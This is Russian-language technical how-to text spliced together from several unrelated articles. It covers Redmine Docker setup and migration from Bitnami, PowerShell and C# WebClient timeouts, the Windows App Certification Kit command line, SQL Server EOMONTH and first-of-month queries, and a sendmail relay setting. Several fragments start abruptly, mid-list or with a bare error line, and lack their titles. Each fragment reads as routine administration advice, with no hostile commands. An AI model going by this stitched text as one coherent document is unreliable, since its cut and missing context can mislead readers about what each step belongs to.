1. В разделе «Моя учётная запись» укажите свой настоящий адрес. Письмо уйдёт на него, а у свежего админа там заглушка (admin@dummy.invalid в 7.0).
2. В разделе Администрирование → Настройки → Уведомления по email заполните «Исходящий email адрес».
3. Нажмите «Послать email для проверки».

Адрес сайта для ссылок в письмах

Ссылки в письмах Redmine собирает из настроек. Заполните «Имя компьютера» и «Протокол» в разделе Администрирование → Настройки → Общее. Или из консоли:

docker compose exec redmine bundle exec rails runner \
  'Setting.host_name = "redmine.example.com"; Setting.protocol = "https"'

Контейнер отдаёт обычный HTTP на порту 3000. HTTPS делайте на прокси перед ним: nginx, Caddy или Traefik.

Если Redmine стоит на сервере Bitnami, направьте домен на его IP и запустите sudo /opt/bitnami/bncert-tool. Утилита спросит имена доменов, получит сертификат Let's Encrypt, настроит его продление и редирект с HTTP на HTTPS. Виртуальные хосты Apache, в которых я в 2016 году прописывал ServerName и ServerAlias, теперь лежат в /opt/bitnami/apache/conf/vhosts/ (документация Bitnami).

secret_key_base: ошибка в Bitnami и разлогины

Если запустить rails или rake вручную в Bitnami Redmine, где ключа ещё нет, получите:

Missing `secret_key_base` for 'production' environment, set this string with `bin/rails credentials:edit` (ArgumentError)

Совет про credentials:edit пропустите. На виртуалке или облачном сервере Bitnami ключ создаёт задача самого Redmine:

cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rake generate_secret_token

Ключ подписывает cookie сессий, поэтому новый ключ после перезапуска разлогинит всех.

В контейнере bitnamilegacy/redmine вместо этого задайте SECRET_KEY_BASE в environment, как в compose.yaml выше. Без переменной контейнер генерирует новый ключ при каждом пересоздании. Официальный образ ведёт себя так же. Я проверил оба: с переменной сессия пережила пересоздание контейнера, без неё Redmine отправил меня на страницу входа.

Переезд с Bitnami на официальный образ

Ваши данные — база bitnami_redmine и папка files с вложениями. Дамп из MariaDB от Bitnami загружается в MySQL 8.4 после одной замены через sed, поэтому базу меняем на MySQL. В compose.yaml замените сервис db, REDMINE_DB_POSTGRES поменяйте на REDMINE_DB_MYSQL, а том pgdata переименуйте в dbdata:

  db:
    image: mysql:8.4
    restart: unless-stopped
    command: --transaction-isolation=READ-COMMITTED
    environment:
      MYSQL_DATABASE: redmine
      MYSQL_USER: redmine
      MYSQL_PASSWORD: ${DB_PASSWORD}
      MYSQL_RANDOM_ROOT_PASSWORD: "yes"
    volumes:
      - dbdata:/var/lib/mysql
    healthcheck:
      test: ["CMD-SHELL", "mysql -h 127.0.0.1 -u redmine -p$$MYSQL_PASSWORD -e 'SELECT 1' redmine"]
      interval: 5s
      retries: 20

Инструкция по установке Redmine требует для MySQL режим READ-COMMITTED.

На старом сервере:

mysqldump -u root -p bitnami_redmine > bitnami_redmine.sql
tar czf redmine_files.tar.gz -C /opt/bitnami/redmine files

mysqldump спросит пароль — он тот же, что у приложения. Нет команды mysqldump — берите mariadb-dump. Если Redmine работал в compose-проекте на bitnamilegacy/redmine:

docker compose exec -T mariadb mariadb-dump -u root bitnami_redmine > bitnami_redmine.sql
docker compose cp redmine:/bitnami/redmine/files ./files

Если у root там есть пароль, первая строка такая: docker compose exec -T mariadb sh -c 'mariadb-dump -u root -p"$MARIADB_ROOT_PASSWORD" bitnami_redmine' > bitnami_redmine.sql.

На новом сервере (tar пропустите, если папка files уже есть):

docker compose up -d --wait db
sed 's/utf8mb4_uca1400_ai_ci/utf8mb4_0900_ai_ci/g' bitnami_redmine.sql \
  | docker compose exec -T db sh -c 'mysql -u redmine -p"$MYSQL_PASSWORD" redmine'
tar xzf redmine_files.tar.gz
docker compose create redmine
docker compose cp files/. redmine:/usr/src/redmine/files/
docker compose up -d
docker compose exec redmine chown -R redmine:redmine files

sed меняет utf8mb4_uca1400_ai_ci на utf8mb4_0900_ai_ci: такого правила сортировки в MySQL нет. Его ставит на таблицы MariaDB 11.5 и новее, в том числе bitnamilegacy/mariadb:latest. Дамп из MariaDB постарше sed оставит как есть.

При запуске образ сам обновит базу с 6.0 до 7.0. Входите под старым логином Bitnami. chown не пропускайте: docker compose cp сохраняет прежних владельцев файлов, и загрузка вложений падает с Errno::EACCES: Permission denied. Я так перенёс Redmine из bitnamilegacy/redmine:6.0.6, вложения доехали.

Плагины, которые поддерживают 7.0, положите в папку ./plugins, примонтируйте её в /usr/src/redmine/plugins и задайте REDMINE_PLUGINS_MIGRATE: "1". Подробнее — в посте про плагины Redmine.

Обновление Redmine в Docker

Сначала бэкап:

docker compose exec -T db pg_dump -U redmine redmine > redmine-$(date +%F).sql
docker compose cp redmine:/usr/src/redmine/files ./files-backup

Если переехали на MySQL, дамп снимайте так: docker compose exec -T db sh -c 'mysqldump --no-tablespaces -u redmine -p"$MYSQL_PASSWORD" redmine' > redmine-$(date +%F).sql.

Поменяйте тег, например redmine:6.1 на redmine:7.0, и выполните:

docker compose pull
docker compose up -d

Миграции запустятся сами — так я обновил 6.1.6 до 7.0.3. Тег 7.0 при каждом pull подтягивает исправления 7.0.x.

С новой мажорной версией PostgreSQL так не выйдет. postgres:19rc1 на томе от 18-й версии падает с there appears to be PostgreSQL data in: /var/lib/postgresql/18/docker. Снимите дамп, запустите новую версию на пустом томе и загрузите дамп через psql.

Частые ошибки

• Том PostgreSQL 18 примонтирован в /var/lib/postgresql/data, как в старых инструкциях. Контейнер падает с Error: in 18+, these Docker images are configured to store database data in a format which is compatible with "pg_ctlcluster". Монтируйте /var/lib/postgresql.
• Дамп из MariaDB 11.5 или новее загружен без sed. Импорт падает с ERROR 1273 (HY000) at line 26: Unknown collation: 'utf8mb4_uca1400_ai_ci'.
• Healthcheck через mysqladmin ping. Он проходит даже при Access denied, а при первом запуске ему отвечает временный сервер, на котором MySQL готовит базу. --wait db возвращается раньше, чем поднимется настоящий сервер. Проверяйте вход по TCP, как в compose.yaml выше.
• Дамп снят с --databases, как в инструкции Bitnami по обновлению. Он переключается на базу bitnami_redmine, и загрузка падает с Access denied for user 'redmine'@'%' to database 'bitnami_redmine'.
• $ в .env: Compose читает ab$cd как ab плюс пустую переменную. Пароли из openssl rand -hex таких символов не содержат.
• Старые пути из версии этого поста 2016 года: /opt/bitnami/apps/redmine и правка Apache, чтобы убрать префикс /redmine. Нынешние сборки Bitnami держат Redmine в /opt/bitnami/redmine и открывают его с корня сайта.

# Веб-командлеты: секунды, 0 (по умолчанию) = без таймаута
Invoke-WebRequest -Uri 'https://example.com/' -UseBasicParsing -TimeoutSec 30
Invoke-RestMethod -Uri 'https://example.com/' -TimeoutSec 30

# HttpClient: Timeout меняют только до первого запроса
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
$http.Timeout = [TimeSpan]::FromSeconds(30)
$html = $http.GetStringAsync('https://example.com/').GetAwaiter().GetResult()

Таймаут WebClient: наследник через Add-Type

Переопределяем GetWebRequest и ставим таймаут каждому запросу:

Add-Type -IgnoreWarnings -TypeDefinition @"
using System;
using System.Net;

public class TimeoutWebClient : WebClient
{
    public int TimeoutMs = 30000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        WebRequest request = base.GetWebRequest(address);
        if (request != null)
        {
            request.Timeout = TimeoutMs;
            HttpWebRequest http = request as HttpWebRequest;
            if (http != null) { http.ReadWriteTimeout = TimeoutMs; }
        }
        return request;
    }
}
"@

$wc = New-Object TimeoutWebClient
$wc.TimeoutMs = 10000   # миллисекунды
$wc.DownloadString('https://example.com/')

Почему код такой:

• Timeout — сколько ждать ответа (по умолчанию 100 секунд), ReadWriteTimeout — сколько ждать каждой порции тела (по умолчанию 5 минут). В моём тесте сервер отдал заголовки и замолчал на 8 секунд: ReadWriteTimeout на 3 секунды сработал, Timeout — нет.
• В PowerShell 7 нужен ключ -IgnoreWarnings. WebClient устарел в .NET 6 (SYSLIB0014), а Add-Type считает предупреждения ошибками. Без ключа получите Cannot add type. Compilation errors occurred.
• Код на C# обходится без нового синтаксиса, чтобы тот же блок собрался и в Windows PowerShell 5.1 со старым компилятором CodeDom. Тип в сессии не переопределить: поменяли класс — переименуйте его или перезапустите PowerShell.

Invoke-WebRequest -TimeoutSec: что он ограничивает

-TimeoutSec действует, только пока не пришли заголовки ответа: сюда входят DNS, подключение и время, пока сервер думает. На скачивание тела он не влияет. С -TimeoutSec 3 ответ, который сразу отдал заголовки и потом шёл 8 секунд, скачался без ошибок.

В PowerShell 7.4 параметр переименовали в -ConnectionTimeoutSeconds (-TimeoutSec остался псевдонимом) и добавили -OperationTimeoutSeconds — максимальную паузу между порциями данных. Когда качаете файлы, ставьте оба:

Invoke-WebRequest -Uri $url -OutFile $file -ConnectionTimeoutSeconds 15 -OperationTimeoutSeconds 60

Общее время не ограничивает ни один из них. Жёсткий лимит даёт HttpClient.Timeout: он действует на весь вызов GetStringAsync вместе с телом.

Ещё две детали:

• -MaximumRetryCount не повторяет запрос после таймаута: с -TimeoutSec 2 -MaximumRetryCount 2 вызов упал через 2 секунды.
• В Windows PowerShell 5.1 есть только -TimeoutSec, и медленный DNS-запрос может оттянуть таймаут до 15 секунд и дольше (документация Microsoft). В PowerShell 7 такого нет. Добавляйте в 5.1 -UseBasicParsing: после обновления безопасности от декабря 2025 года Invoke-WebRequest без него останавливается и спрашивает подтверждение.

«The operation has timed out» и DownloadDataInternal

Так выглядит таймаут в Windows PowerShell 5.1 или .NET Framework:

Exception calling "DownloadString" with "1" argument(s): "The operation has timed out"

System.Net.WebException: The operation has timed out
   at System.Net.WebClient.DownloadDataInternal(Uri address, WebRequest& request)
   at System.Net.WebClient.DownloadString(Uri address)

PowerShell 7.5 ставит в конце сообщения точку и добавляет сверху ещё три строки: HttpWebRequest.GetResponse(), GetWebResponse и DownloadBits.

В .NET Framework DownloadDataInternal открывает трассировку любой ошибки DownloadString и DownloadData (throw e; сбрасывает стек), так что смотрите на текст сообщения:

• «The operation has timed out»: сервер не ответил за HttpWebRequest.Timeout (по умолчанию 100 секунд). Поменяйте значение через наследника выше или перейдите на командлеты. Для ASP.NET за корпоративным прокси проверьте настройки прокси в web.config.
• «(407) Proxy Authentication Required»: задайте $wc.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials или useDefaultCredentials="true" у <defaultProxy> в web.config.
• «Could not create SSL/TLS secure channel»: перед запросом выполните [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor 'Tls12'.

Таймаут ловите по типу исключения и смотрите на Status:

try {
    $wc.DownloadString($url)
}
catch [System.Net.WebException] {
    if ($_.Exception.Status -eq [System.Net.WebExceptionStatus]::Timeout) {
        Write-Warning "Таймаут: $url"
    }
    else { throw }
}

Если зависло тело ответа (сработал ReadWriteTimeout), PowerShell 7 пишет другое: «An exception occurred during a WebClient request.», Status равен UnknownError, внутри лежит IOException. Проверка Status такой случай пропустит, поэтому допишите в условие -or $_.Exception.InnerException -is [System.IO.IOException].

Invoke-WebRequest в PowerShell 7 по таймауту подключения бросает TaskCanceledException («The request was canceled due to the configured HttpClient.Timeout of 30 seconds elapsing.»), а по таймауту операции — TimeoutException (с -OutFile он приходит внутри AggregateException):

try {
    Invoke-RestMethod -Uri $url -TimeoutSec 30
}
catch [System.Threading.Tasks.TaskCanceledException] {
    Write-Warning "Нет ответа за 30 секунд: $url"
}

Windows PowerShell 5.1 здесь бросает WebException (документация Microsoft), поэтому там подойдёт вариант для WebClient.

Асинхронные методы WebClient игнорируют Timeout в Windows PowerShell 5.1

В .NET Framework HttpWebRequest.Timeout не действует на асинхронные запросы, а DownloadStringAsync, DownloadFileAsync и их версии TaskAsync работают через BeginGetResponse. В PowerShell 7 DownloadStringTaskAsync в моём тесте оборвался по таймауту через 3 секунды. В 5.1 берите синхронные методы или HttpClient.

Таймаут WebClient в C#

Для .NET 6+ Microsoft советует HttpClient:

using var http = new HttpClient { Timeout = TimeSpan.FromSeconds(30) };
try
{
    Console.WriteLine(await http.GetStringAsync(url));
}
catch (TaskCanceledException ex) when (ex.InnerException is TimeoutException)
{
    Console.WriteLine("Таймаут");
}

Если старый код завязан на WebClient:

class TimeoutWebClient : WebClient
{
    public int TimeoutMs { get; set; } = 30_000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        var request = base.GetWebRequest(address);
        request.Timeout = TimeoutMs;
        if (request is HttpWebRequest http) http.ReadWriteTimeout = TimeoutMs;
        return request;
    }
}

В .NET 6+ добавьте #pragma warning disable SYSLIB0014.

The UI workflow of Windows App Certification Kit is not supported on this OS version.

Консольная версия, appcert.exe, там работает. Тесты у неё те же, а на сборочном сервере всё равно нужна она.

:: Командная строка, запущенная от имени администратора
cd /d "C:\Program Files (x86)\Windows Kits\10\App Certification Kit"

:: В документации Microsoft перед каждым тестом выполняют reset
appcert.exe reset

:: Проверить файл пакета, который не установлен
appcert.exe test -appxpackagepath "C:\build\MyApp_1.0.0.0_x64.msix" ^
    -reportoutputpath "C:\build\report.xml"

Кит ставится вместе с Windows SDK, папка по умолчанию — C:\Program Files (x86)\Windows Kits\10\App Certification Kit\. Все параметры показывает appcert.exe /?.

Проверить установленное приложение по полному имени пакета

Так я делал в 2016 году: сначала ставил пакет, потом передавал его полное имя.

1. Установите пакет. Visual Studio кладёт скрипт Add-AppDevPackage.ps1 в папку пакета с суффиксом _Test внутри AppPackages: нажмите на него правой кнопкой и выберите Run with PowerShell.

2. Найдите PackageFullName:

Get-AppxPackage -Name "*Greets*"

3. Запустите тест с этим именем:

appcert.exe reset
appcert.exe test ^
    -packagefullname "1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt" ^
    -reportoutputpath "C:\build\report.xml"

Я держал это в bat-файле рядом с пакетом:

@echo off
set KIT=C:\Program Files (x86)\Windows Kits\10\App Certification Kit
set PKG=1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt
set REPORT=%~dp0report.xml

:: Удалить прошлый отчёт: кит может не перезаписать его,
:: а вы не прочитаете старые результаты
del "%REPORT%" 2>nul

"%KIT%\appcert.exe" reset
"%KIT%\appcert.exe" test -packagefullname "%PKG%" -reportoutputpath "%REPORT%"
pause

%~dp0 — папка, где лежит bat-файл, обратный слэш в конце уже есть. Путь к отчёту должен заканчиваться на .xml, иначе кит его не примет.

Для десктопного приложения с установщиком в документации Microsoft такая команда:

appcert.exe test -apptype desktop -appusage peruser ^
    -setuppath "C:\build\setup.exe" ^
    -reportoutputpath "C:\build\report.xml"

Как читать отчёт

У корневого элемента REPORT есть атрибут OVERALL_RESULT: PASS, WARNING или FAIL. Каждый тест — элемент TEST внутри REQUIREMENTS/REQUIREMENT, его результат лежит в RESULT. В PowerShell:

[xml]$report = Get-Content -Raw "C:\build\report.xml"
$report.REPORT.OVERALL_RESULT

# Тесты, которые не прошли
$tests = $report.SelectNodes('/REPORT/REQUIREMENTS/REQUIREMENT/TEST')
foreach ($test in $tests) {
    $result = $test.SelectSingleNode('RESULT')
    if ($result -and $result.InnerText.Trim() -ne 'PASS') {
        '{0}: {1}' -f $test.GetAttribute('NAME'), $result.InnerText.Trim()
    }
}

HTML-копию отчёта с тем же именем кит сохраняет в %LOCALAPPDATA%\Microsoft\AppCertKit\.

На сборочном сервере

• Запускайте от имени администратора.
• По документации киту нужен активный сеанс пользователя: служба может запустить его только внутри сеанса вошедшего пользователя, не в Session 0. Если кит падает на сборочном агенте, установленном как служба Windows, запустите агент обычным процессом под вошедшим пользователем. На той же странице сказано, что новые версии кита работают в автотестах и без интерактивного сеанса, так что сначала проверьте свою.
• Включите режим разработчика в параметрах Windows: он есть в требованиях кита.
• Пороги тестов производительности рассчитаны на слабый компьютер. Быстрый сервер может пройти тесты, которые слабый ноутбук провалит, поэтому Microsoft советует тестировать на маломощном компьютере.

DECLARE @d datetime = '2026-11-04T15:30:00';

SELECT EOMONTH(@d);                           -- 2026-11-30
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1); -- 2026-11-01

Синтаксис EOMONTH

EOMONTH ( start_date [ , month_to_add ] )

• start_date — дата: date, datetime, datetime2 или строка, которая приводится к дате.
• month_to_add — необязательное целое число. EOMONTH сначала сдвигает дату на столько месяцев, потом берёт последний день. Отрицательное число сдвигает назад.
• Результат всегда date, какой бы тип ни пришёл на вход. Время отбрасывается.

EOMONTH появилась в SQL Server 2012, есть в Azure SQL Database, Azure SQL Managed Instance, Azure Synapse и Microsoft Fabric. В SQL Server 2008 и более ранних версиях её заменяет DATEADD(day, -1, DATEADD(month, DATEDIFF(month, 0, @d) + 1, 0)). Эта формула возвращает datetime.

Последний день текущего, прошлого и следующего месяца

SELECT EOMONTH(GETDATE())     AS this_month,  -- 2026-11-30
       EOMONTH(GETDATE(), -1) AS prev_month,  -- 2026-10-31
       EOMONTH(GETDATE(), 1)  AS next_month;  -- 2026-12-31

В комментариях результат на 4 ноября 2026 года. Високосные годы EOMONTH учитывает: EOMONTH('2024-02-10') вернёт 2024-02-29.

Первый день месяца в SQL Server

Все четыре варианта вернут 1 ноября 2026 года, но типы у них разные:

DECLARE @d datetime = '2026-11-04T15:30:00';

-- date, SQL Server 2012+
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
SELECT DATEADD(day, 1, EOMONTH(@d, -1));

-- тип как у @d, SQL Server 2022+
SELECT DATETRUNC(month, @d);

-- datetime, любая версия
SELECT DATEADD(month, DATEDIFF(month, 0, @d), 0);

• DATEFROMPARTS читается проще всех, я беру её по умолчанию.
• DATEADD(day, 1, EOMONTH(@d, -1)) — день после конца прошлого месяца. Пригодится, если в запросе уже есть EOMONTH.
• DATETRUNC(month, @d) работает в SQL Server 2022, Azure SQL Database, Managed Instance и Fabric. Тип она возвращает тот же, что получила: datetime останется datetime, date — date, а строковый литерал станет datetime2(7). Уровень совместимости 160 ей не нужен: я запускал её в базе с уровнем 100.
• DATEADD(month, DATEDIFF(month, 0, @d), 0) — классический трюк из времён до SQL Server 2012. 0 здесь означает 1900-01-01: считаем, сколько целых месяцев прошло с этой даты, и прибавляем их обратно.

Первый день прошлого и следующего месяца:

DECLARE @d datetime = '2026-11-04T15:30:00';

-- первый день прошлого месяца: 2026-10-01
SELECT DATEADD(month, -1, DATEFROMPARTS(YEAR(@d), MONTH(@d), 1));

-- первый день следующего месяца: 2026-12-01
SELECT DATEADD(day, 1, EOMONTH(@d));

Как прибавлять и вычитать дни, месяцы и годы через DATEADD, я разбирал в посте про текущую дату минус год, месяц, день или минуту.

Группировка по месяцам

SELECT DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1) AS MonthStart,
       SUM(Amount) AS Total
FROM dbo.Orders
GROUP BY DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1)
ORDER BY MonthStart;

На SQL Server 2022 короче написать GROUP BY DATETRUNC(month, OrderDate). GROUP BY EOMONTH(OrderDate) тоже работает, если месяц удобнее подписывать последним днём.

Подвох: <= EOMONTH для столбца datetime

EOMONTH возвращает date, а при сравнении со столбцом datetime эта дата превращается в полночь последнего дня. Если в OrderDate хранится время, условие OrderDate <= EOMONTH(@d) теряет всё, что было после 00:00 этого дня. В моей тестовой таблице так пропал заказ от 31 октября в 18:45. Фильтруйте полуоткрытым интервалом:

DECLARE @d date = '2026-10-15';

SELECT SUM(Amount) AS Total
FROM dbo.Orders
WHERE OrderDate >= DATEFROMPARTS(YEAR(@d), MONTH(@d), 1)
  AND OrderDate <  DATEADD(day, 1, EOMONTH(@d));

Такой фильтр ещё и работает с индексом по OrderDate. С этим индексом в плане Index Seek:

CREATE INDEX IX_Orders_OrderDate
    ON dbo.Orders (OrderDate) INCLUDE (Amount);

А WHERE EOMONTH(OrderDate) = '2026-10-31' оборачивает столбец в функцию, и тот же индекс читается целиком (Index Scan). Без INCLUDE (Amount) оптимизатор и с диапазоном читал всю таблицу на 500 000 строк: за Amount для каждой из примерно 6000 строк месяца пришлось бы ходить в таблицу (Key Lookup), а это дороже.

SOMONTH: своя функция по образцу EOMONTH

В 2016 году я написал для этого функцию SOMONTH. У неё был параметр datetime, из-за которого она падала на датах раньше 1753 года, и лишняя промежуточная переменная того же типа. Исправленная версия:

CREATE OR ALTER FUNCTION dbo.SOMONTH (@d date)
RETURNS date
AS
BEGIN
    RETURN DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
END;

CREATE OR ALTER есть начиная с SQL Server 2016 SP1, в более старых версиях пишите CREATE FUNCTION. Вызывать функцию нужно со схемой: SELECT dbo.SOMONTH(GETDATE());

Скалярная функция в GROUP BY тормозит

До SQL Server 2019 скалярная UDF вызывается для каждой строки и запрещает параллельный план. В SQL Server 2019 появился инлайнинг скалярных функций (scalar UDF inlining) на уровне совместимости 150 и выше: оптимизатор подставляет тело функции в запрос. Но если функция стоит в GROUP BY или ORDER BY, инлайнинга не будет. Я проверил на SQL Server 2022: с GROUP BY dbo.SOMONTH(OrderDate) план по-прежнему вызывает функцию и не распараллеливается.

Посчитайте месяц в CROSS APPLY и группируйте по получившемуся столбцу. На уровне совместимости 150 и выше такой запрос инлайнится:

SELECT m.MonthStart, SUM(o.Amount) AS Total
FROM dbo.Orders AS o
CROSS APPLY (SELECT dbo.SOMONTH(o.OrderDate) AS MonthStart) AS m
GROUP BY m.MonthStart;

На больших таблицах и в версиях до 2019 обходитесь без функции: пишите DATEFROMPARTS в самом запросе, как в примере с группировкой. Условие WHERE dbo.SOMONTH(OrderDate) = ... инлайнинг тоже не спасает: столбец всё равно обёрнут в функцию, поэтому фильтруйте по диапазону дат.

Проверить, может ли SQL Server встроить вашу функцию:

SELECT is_inlineable
FROM sys.sql_modules
WHERE object_id = OBJECT_ID('dbo.SOMONTH');  -- 1

User unknown.

Sendmail ищет адресата на локальном сервере и не находит: почтовый сервер стоит на другом IP-адресе. Нужно, чтобы sendmail искал пользователей нашего домена на удалённом сервере.

Откройте /etc/mail/sendmail.mc:

sudo nano /etc/mail/sendmail.mc

Добавьте эти две строки в конец файла:

define(`MAIL_HUB', `your.domain.com.')dnl
define(`LOCAL_RELAY', `your.domain.com.')dnl

Нажмите "Ctrl + X" и ответьте "Y" на вопрос о сохранении.

Перезапустите sendmail:

service sendmail reload

Отправьте письмо снова. Если всё сделано правильно, оно уйдёт через удалённый почтовый сервер без ошибок.